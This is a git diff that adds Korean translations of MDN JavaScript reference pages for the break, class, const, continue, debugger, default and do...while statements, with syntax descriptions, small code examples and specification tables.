+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.1', 'Block statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.block")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li>{{jsxref("Statements/if...else", "if...else")}}</li>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/break/index.html b/files/ko/web/javascript/reference/statements/break/index.html
new file mode 100644
index 0000000000..fdbb79e719
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/break/index.html
@@ -0,0 +1,119 @@
+---
+title: break
+slug: Web/JavaScript/Reference/Statements/break
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/break
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>break</code> 문</strong>은 현재 반복문, {{jsxref("Statements/switch", "switch")}} 문, 또는 {{jsxref("Statements/label", "label")}} 문을 종료하고, 그 다음 문으로 프로그램 제어를 넘깁니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-break.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">break [<em>label</em>];</pre>
+
+<dl>
+ <dt><code>label</code> {{optional_inline}}</dt>
+ <dd>문의 라벨에 연결한 {{glossary("identifier", "식별자")}}. 반복문이나 {{jsxref("Statements/switch", "switch")}}에서 사용하는게 아니면 필수로 제공해야 합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>break</code> 문은 프로그램이 label 달린 문에서 빠져나오게 하는 선택사항 label을 포함합니다. <code>break</code> 문은 참조되는 label 내에 중첩되어야 합니다. label 달린 문은 어떤 {{jsxref("Statements/block", "block")}} 문이든 될 수 있습니다. 꼭, loop 문을 달 필요가 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 함수는 <code>i</code>가 3일 때 {{jsxref("Statements/while", "while")}} loop를 종료하는 break 문이 있고, 그러고는 3 * <code>x</code>값을 반환합니다.</p>
+
+<pre class="brush:js;highlight:[6];">function testBreak(x) {
+  var i = 0;
+
+  while (i &lt; 6) {
+    if (i == 3) {
+      break;
+    }
+    i += 1;
+  }
+
+  return i * x;
+}</pre>
+
+<p>다음 코드는 label 달린 블록이 있는 <code>break</code> 문을 사용합니다. <code>break</code> 문은 자신이 참조하는 label 내에 중첩되어야 합니다. <code>inner_block</code>은 <code>outer_block</code>내에 중첩되어야 함을 주의하세요.</p>
+
+<pre class="brush:js;highlight:[1,2,4];">outer_block: {
+  inner_block: {
+    console.log('1');
+    break outer_block; // inner_block과 outer_block 둘다 빠져나옴
+    console.log(':-('); // 건너뜀
+  }
+  console.log('2'); // 건너뜀
+}
+</pre>
+
+<p>다음 코드는 또한 label 달린 블록이 있는 break 문을 사용하지만 그 <code>break</code> 문이 <code>block_2</code>를 참조하지만 <code>block_1</code> 내에 있기에 구문 오류(Syntax Error)가 발생합니다. <code>break</code> 문은 항상 자신이 참조하는 label 내에 중첩되어야 합니다.</p>
+
+<pre class="brush:js;highlight:[1,3,6];">block_1: {
+  console.log('1');
+  break block_2; // SyntaxError: label을 찾을 수 없음
+}
+
+block_2: {
+  console.log('2');
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Unlabeled version.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Labeled version added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.8', 'Break statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-break-statement', 'Break statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-break-statement', 'Break statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.statements.break")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+ <li>{{jsxref("Statements/label", "label")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/class/index.html b/files/ko/web/javascript/reference/statements/class/index.html
new file mode 100644
index 0000000000..bfb1c95027
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/class/index.html
@@ -0,0 +1,119 @@
+---
+title: class
+slug: Web/JavaScript/Reference/Statements/class
+tags:
+  - Classes
+  - Declaration
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/class
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>class</code> 선언</strong>은 프로토타입 기반 상속을 사용하여, 주어진 이름의 새로운 클래스를 만듭니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-class.html")}}</div>
+
+
+
+<div class="noinclude">
+<p>{{jsxref("Operators/class", "클래스 표현", "", 1)}}을 사용하여 클래스를 정의할 수도 있습니다. 표현식과 달리 선언문으로는 같은 클래스를 다시 선언하면 오류가 발생합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">class <em>name</em> [extends] {
+  // class body
+}
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>클래스 본문은 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a>에서 실행됩니다. 생성자 속성은 선택 사항입니다..</p>
+
+<p>클래스 선언은 {{jsxref("Statements/function", "함수 선언", "", 0)}}과 달리 {{Glossary("Hoisting", "호이스팅")}}의 대상이 아닙니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_클래스_선언">간단한 클래스 선언</h3>
+
+<p>다음 예제는 우선 <code>Polygon</code> 클래스를 정의하고, <code>Square</code>라는 이름의 새로운 클래스가 <code>Polygon</code>을 상속합니다. 생성자 내부의 <code>super()</code>는 생성자 내에서만, 그리고 {{jsxref("Operators/this", "this")}} 키워드를 사용하기 전에만 쓸 수 있다는 점을 주의하세요.</p>
+
+<pre class="brush: js">class Polygon {
+  constructor(height, width) {
+    this.name = 'Polygon';
+    this.height = height;
+    this.width = width;
+  }
+}
+
+class Square extends Polygon {
+  constructor(length) {
+    super(length, length);
+    this.name = 'Square';
+  }
+}</pre>
+
+<div class="warning">
+<h3 id="같은_클래스를_두_번_선언하려고_시도할_때">같은 클래스를 두 번 선언하려고 시도할 때</h3>
+
+<p>클래스 선언문으로 같은 클래스를 두 번 선언하면 오류가 발생합니다.</p>
+
+<pre class="brush: js">class Foo {};
+class Foo {}; // Uncaught SyntaxError: Identifier 'Foo' has already been declared
+</pre>
+
+<p>이전에 표현식으로 정의한 경우에도 오류가 발생합니다.</p>
+
+<pre class="brush: js">var Foo = class {};
+class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared
+</pre>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.class")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function", "function")}} 선언문</li>
+ <li>{{jsxref("Operators/class", "class")}} 표현식</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Classes">클래스</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/const/index.html b/files/ko/web/javascript/reference/statements/const/index.html
new file mode 100644
index 0000000000..1cbd7ea7aa
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/const/index.html
@@ -0,0 +1,136 @@
+---
+title: const
+slug: Web/JavaScript/Reference/Statements/const
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+  - Statement
+  - constants
+translation_of: Web/JavaScript/Reference/Statements/const
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>const</code> 선언</strong>은 블록 범위의 상수를 선언합니다. 상수의 값은 재할당할 수 없으며 다시 선언할 수도 없습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-const.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>name1 = <em>value1 [</em>, <em>name2</em> = <em>value2</em><em> [</em>, ... [</em>, <em>nameN</em> = <em>valueN]]]</em>;</pre>
+
+<dl>
+ <dt><code>nameN</code></dt>
+ <dd>상수의 이름. 아무 유효한 {{Glossary("identifier", "식별자")}}를 사용할 수 있습니다.</dd>
+ <dt><code>valueN</code></dt>
+ <dd>상수의 값. 아무 유효한 <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#표현식">표현식</a>이나 가능합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>이 선언은 선언된 함수에 전역 또는 지역일 수 있는 상수를 만듭니다. 상수 초기자(initializer)가 필요합니다. 즉 선언되는 같은 문에 그 값을 지정해야 합니다(이는 나중에 변경될 수 없는 점을 감안하면 말이 됩니다).</p>
+
+<p>상수는 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/let">let</a></code> 문을 사용하여 정의된 변수와 마찬가지로 블록 범위(block-scope)입니다. 상수의 값은 재할당을 통해 바뀔 수 없고 재선언될 수 없습니다.</p>
+
+<p><code><a href="/ko/docs/Web/JavaScript/Reference/Statements/let">let</a></code>에 적용한 "<a href="/ko/docs/Web/JavaScript/Reference/Statements/let#Temporal_dead_zone_and_errors_with_let" title="temporal dead zone">일시적 사각 지대</a>"에 관한 모든 고려는, <code>const</code>에도 적용합니다.</p>
+
+<p>상수는 같은 범위의 상수 또는 변수와 그 이름을 공유할 수 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 상수가 어떻게 동작하는지 보입니다. 브라우저 콘솔에서 따라해보세요.</p>
+
+<pre class="brush:js">// 주의: 상수 선언에는 대소문자 모두 사용할 수 있지만,
+// 일반적인 관습은 모두 대문자를 사용하는 것입니다.
+
+// MY_FAV를 상수로 정의하고 그 값을 7로 함
+const MY_FAV = 7;
+
+// 에러가 발생함
+MY_FAV = 20;
+
+// 7 출력
+console.log("my favorite number is: " + MY_FAV);
+
+// 상수를 재선언하려는 시도는 오류 발생 - Uncaught SyntaxError: Identifier 'MY_FAV' has already been declared
+const MY_FAV = 20;
+
+// MY_FAV라는 이름은 위에서 상수로 예약되어 있어서 역시 실패함.
+var MY_FAV = 20;
+
+<code>// 역시 오류가 발생함
+let MY_FAV = 20;
+
+// 블록 범위의 특성을 아는게 중요
+if (MY_FAV === 7) {
+    // 블록 범위로 지정된 MY_FAV 라는 변수를 만드므로 괜찮습니다
+    // (let으로 const 변수가 아닌 블록 범위를 선언하는 것과 똑같이 동작합니다)
+    let MY_FAV = 20;
+
+    // MY_FAV는 이제 20입니다
+    console.log('my favorite number is ' + MY_FAV);
+
+    // 이 선언은 전역으로 호이스트되고 에러가 발생합니다.
+    var MY_FAV = 20;
+}
+
+// MY_FAV는 여전히 7
+console.log('my favorite number is ' + MY_FAV);
+
+// const 선언시에 초기값을 생략해서 오류 발생
+const FOO;
+
+// const는 오브젝트에도 잘 동작합니다
+const MY_OBJECT = {'key': 'value'};
+
+// 오브젝트를 덮어쓰면 오류가 발생합니다
+MY_OBJECT = {'OTHER_KEY': 'value'};
+
+// 하지만 오브젝트의 키는 보호되지 않습니다.
+// 그러므로 아래 문장은 문제없이 실행됩니다
+MY_OBJECT.key = 'otherValue'; // 오브젝트를 변경할 수 없게 하려면 Object.freeze() 를 사용해야 합니다
+
+// 배열에도 똑같이 적용됩니다
+const MY_ARRAY = [];
+// 배열에 아이템을 삽입하는 건 가능합니다
+MY_ARRAY.push('A'); // ["A"]
+// 하지만 변수에 새로운 배열을 배정하면 에러가 발생합니다
+MY_ARRAY = ['B']</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.const")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/var"><code>var</code></a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/let"><code>let</code></a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Constants">JavaScript 안내서의 상수</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/continue/index.html b/files/ko/web/javascript/reference/statements/continue/index.html
new file mode 100644
index 0000000000..f0d67deea2
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/continue/index.html
@@ -0,0 +1,164 @@
+---
+title: continue
+slug: Web/JavaScript/Reference/Statements/continue
+translation_of: Web/JavaScript/Reference/Statements/continue
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>continue</strong> 문은 현재 또는 레이블이 지정된 루프의 현재 반복에서 명령문의 실행을 종료하고 반복문의 처음으로 돌아가여 루프문의 다음 코드를 실행합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-continue.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">continue [<em>label</em>];</pre>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>
+ <p>명령문의 레이블과 연관된 식별자.</p>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref ( "Statements / break", "break")}} 문과 달리 <code>continue</code>는 루프의 실행을 완전히 종료하지 않고 <code>for</code>, <code>while</code>문에서 다음과 같이 동작합니다.</p>
+
+<ul>
+ <li>{{jsxref ( "Statements / while", "while")}} 루프에서는 다시 조건으로 점프합니다.</li>
+</ul>
+
+<ul>
+ <li>{{jsxref ( "Statements / for", "for")}} 루프에서는 업데이트 표현식으로 점프합니다.</li>
+</ul>
+
+<p><code>continue</code> 문에는 현재 루프 대신 레이블이 지정된 루프 문의 다음 반복으로 건너 뛰도록하는 선택적 레이블이 포함될 수 있습니다. 이 경우, <code>continue</code> 문은 이 레이블 된 명령문 내에 중첩되어야합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Using_continue_with_while">Using <code>continue</code> with <code>while</code></h3>
+
+<p>다음 예제에서는 <code>i</code>의 값이 3일 때 실행되는 <code>continue</code>문을 포함하는 {{jsxref("Statements/while", "while")}}을 보여줍니다. 따라서 n은 1, 3, 7 및 12 값을 갖습니다.</p>
+
+<pre class="brush: js">var i = 0;
+var n = 0;
+
+while (i &lt; 5) {
+  i++;
+
+  if (i === 3) {
+    continue;
+  }
+
+  n += i;
+}
+</pre>
+
+<h3 id="label과_함께_continue_사용하기">label과 함께 <code>continue</code> 사용하기</h3>
+
+<p>다음 예제에서 <code>checkiandj</code>라는 문에는 <code>checkj</code>라는 문이 있습니다. <code>continue</code>가 발생하면 프로그램은 <code>checkj</code> 문의 맨 위에서 계속됩니다. <code>continue</code>가 발생할 때마다 <code>checkj</code>는 조건이 false를 반환 할 때까지 반복합니다. false가 리턴되면 나머지 <code>checkiandj</code> 문이 완료됩니다.</p>
+
+<p><code>continue</code>에 <code>checkiandj</code> 레이블이 있으면이 프로그램은 <code>checkiandj</code> 문 맨 위에서 계속됩니다.</p>
+
+<p>See also {{jsxref("Statements/label", "label")}}.</p>
+
+<pre class="brush: js">var i = 0;
+var j = 8;
+
+checkiandj: while (i &lt; 4) {
+  console.log('i: ' + i);
+  i += 1;
+
+  checkj: while (j &gt; 4) {
+    console.log('j: ' + j);
+    j -= 1;
+
+    if ((j % 2) == 0)
+      continue checkj;
+    console.log(j + ' is odd.');
+  }
+  console.log('i = ' + i);
+  console.log('j = ' + j);
+}
+</pre>
+
+<p>출력:</p>
+
+<pre class="brush: js">i: 0
+
+// start checkj
+j: 8
+7 is odd.
+j: 7
+j: 6
+5 is odd.
+j: 5
+// end checkj
+
+i = 1
+j = 4
+
+i: 1
+i = 2
+j = 4
+
+i: 2
+i = 3
+j = 4
+
+i: 3
+i = 4
+j = 4
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Unlabeled version.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Labeled version added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.7', 'Continue statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-continue-statement', 'Continue statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-continue-statement', 'Continue statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.continue")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/label", "label")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/debugger/index.html b/files/ko/web/javascript/reference/statements/debugger/index.html
new file mode 100644
index 0000000000..4f081282b9
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/debugger/index.html
@@ -0,0 +1,79 @@
+---
+title: debugger
+slug: Web/JavaScript/Reference/Statements/debugger
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/debugger
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>debugger</code> 문</strong>은 중단점 설정 등 현재 사용할 수 있는 디버그 기능을 호출합니다. 사용할 수있는 디버깅 기능이 없으면 아무런 동작도 하지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">debugger;</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제에서는 함수가 호출 시 디버거를 활성화하도록 <code>debugger</code>를 삽입한 모습입니다.</p>
+
+<pre class="brush:js">function potentiallyBuggyCode() {
+    debugger;
+    // 버그가 있을 것으로 생각하는 코드를 분석하거나, 한 단계씩 진행해보거나...
+}</pre>
+
+<p>디버거가 활성화되면 디버거 문의 위치에서 실행이 일시중지됩니다. 스크립트 소스의 중단점과 비슷합니다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/6963/Screen Shot 2014-02-07 at 9.14.35 AM.png"><img alt="Paused at a debugger statement." src="https://mdn.mozillademos.org/files/6963/Screen%20Shot%202014-02-07%20at%209.14.35%20AM.png" style="height: 371px; width: 700px;"></a></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-debugger-statement', 'Debugger statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-debugger-statement', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.15', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-7.5.3', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-7.4.3', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Only mentioned as reserved word.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.debugger")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Mozilla/Debugging/Debugging_JavaScript">JavaScript 디버깅</a></li>
+ <li><a href="/ko/docs/도구들/Debugger">Firefox 개발자 도구의 디버거</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/default/index.html b/files/ko/web/javascript/reference/statements/default/index.html
new file mode 100644
index 0000000000..d8d107e774
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/default/index.html
@@ -0,0 +1,121 @@
+---
+title: default
+slug: Web/JavaScript/Reference/Statements/default
+tags:
+  - JavaScript
+  - Keyword
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><code><strong>default</strong></code> 키워드는 {{jsxref("Statements/switch", "switch")}} 구문과 {{jsxref("Statements/export", "export")}} 구문에서 사용할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-default.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p>{{jsxref("Statements/switch", "switch")}} 구문 내에서는 다음과 같이 사용합니다.</p>
+
+<pre class="syntaxbox">switch (expression) {
+  case value1:
+    //Statements executed when the result of expression matches value1
+    [break;]
+  default:
+    //Statements executed when none of the values match the value of the expression
+    [break;]
+}</pre>
+
+<p>{{jsxref("Statements/export", "export")}} 구문 내에서는 다음과 같이 사용합니다.</p>
+
+<pre class="syntaxbox">export default <em>nameN</em> </pre>
+
+<h2 id="설명">설명</h2>
+
+<p>세부사항을 보려면,</p>
+
+<ul>
+ <li>{{jsxref("Statements/switch", "switch")}} 구문,</li>
+ <li>{{jsxref("Statements/export", "export")}} 구문 페이지를 확인하세요.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="switch에서_default_사용"><code>switch</code>에서 <code>default</code> 사용</h3>
+
+<p>아래 예제에서 <code>expr</code> 이 "오렌지" 또는 "사과"일 때, 프로그램은 값을 "오렌지" 또는 "사과"와 일치시키고 해당 명령문을 실행합니다. 기본(<code>default</code>) 키워드는 다른 경우에 도움이 되며 연관된 명령문을 실행합니다.</p>
+
+<pre class="brush: js">switch (expr) {
+  case '오렌지':
+    console.log('오렌지는 1000원입니다.');
+    break;
+  case '사과':
+    console.log('사과는 500원입니다.');
+    break;
+  default:
+    console.log('죄송합니다. ' + expr + '의 재고가 다 떨어졌습니다.');
+}</pre>
+
+<h3 id="export에서_default_사용"><code>export</code>에서 <code>default</code> 사용</h3>
+
+<p>단일 값을 내보내거나 모듈의 기본 값이 필요한 경우, 기본 내보내기를 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// module "my-module.js"
+let cube = function cube(x) {
+  return x * x * x;
+};
+export default cube;</pre>
+
+<p>다른 스크립트에서 가져오는 건 간단합니다.</p>
+
+<pre class="brush: js">// module "my-module.js"
+import cube from 'my-module';  //default export gave us the liberty to say import cube, instead of import cube from 'my-module'
+console.log(cube(3)); // 27
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.default")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/do...while/index.html b/files/ko/web/javascript/reference/statements/do...while/index.html
new file mode 100644
index 0000000000..f6d2e00c57
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/do...while/index.html
@@ -0,0 +1,78 @@
+---
+title: do...while
+slug: Web/JavaScript/Reference/Statements/do...while
+tags:
+  - 구문
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Statements/do...while
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>do...while</code> 문은</strong> 테스트 조건이 거짓으로 평가될 때까지 지정된 구문을 실행하는 루프를 만듭니다.<br>
+ 단, 구문이 실행된 뒤에 테스트 조건이 평가됨으로 구문은 무조건 한 번은 실행됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-dowhile.html")}}</div>
+
+<div class="hidden">이 예제의 소스는 GitHub 저장소에 저장됩니다. 만약 이 프로젝트에 기여하고 싶으시다면, <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> 를 복사하고 저희에게 pull request 를 보내주십시오.</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">do<em>구문</em>
+while (<em>조건식</em>);
+</pre>
+
+<dl>
+ <dt><code><em>구문</em></code></dt>
+ <dd>테스트 조건이 참일 때마다 한 번이상 실행되는 구문입니다. 만약 루프 내에서 여러 구문을 반복 실행 시키고 싶으시다면, 다음 명령을 사용합니다.</dd>
+ <dd>{{jsxref("Statements/block", "block", "", 1)}} 구문을 활용하여 (<code>{ ... }</code>) 이런 식으로 그룹화합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code><em>조건식</em></code></dt>
+ <dd>루프가 실행될 때마다 평가되는 식입니다. 만약 조건식이 참으로 평가되었다면, <code>구문</code> 이 다시 실행됩니다. 만약 조건식이 거짓으로 평가되었다면, 자바스크립트는 <code>do...while</code>. 구문 밑에 있는 구문들을 실행시킵니다.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="do...while"><code>do...while</code></h3>
+
+<p>예제에서 <code>do...while</code> 문은 적어도 한번 반복되고 i 변수가 5 보다 작을 때까지 실행됩니다.</p>
+
+<pre class="brush: js notranslate">var result = '';
+var i = 0;
+do {
+   i += 1;
+   result += i + ' ';
+}
+while (i &gt; 0 &amp;&amp; i &lt; 5);
+// Despite i == 0 this will still loop as it starts off without the test
+
+console.log(result);</pre>
+
+<h2 id="자세한_내용">자세한 내용</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-do-while-statement', 'do-while statement')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지의 브라우저 호환성 표는 구조화된 데이터에서 생성되었습니다. 만약 이 문서에 기여하고 싶으시다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 문서를 확인하고 수정한 뒤 pull request 를 보내주십시오.</div>
+
+<p>{{Compat("javascript.statements.do_while")}}</p>
+
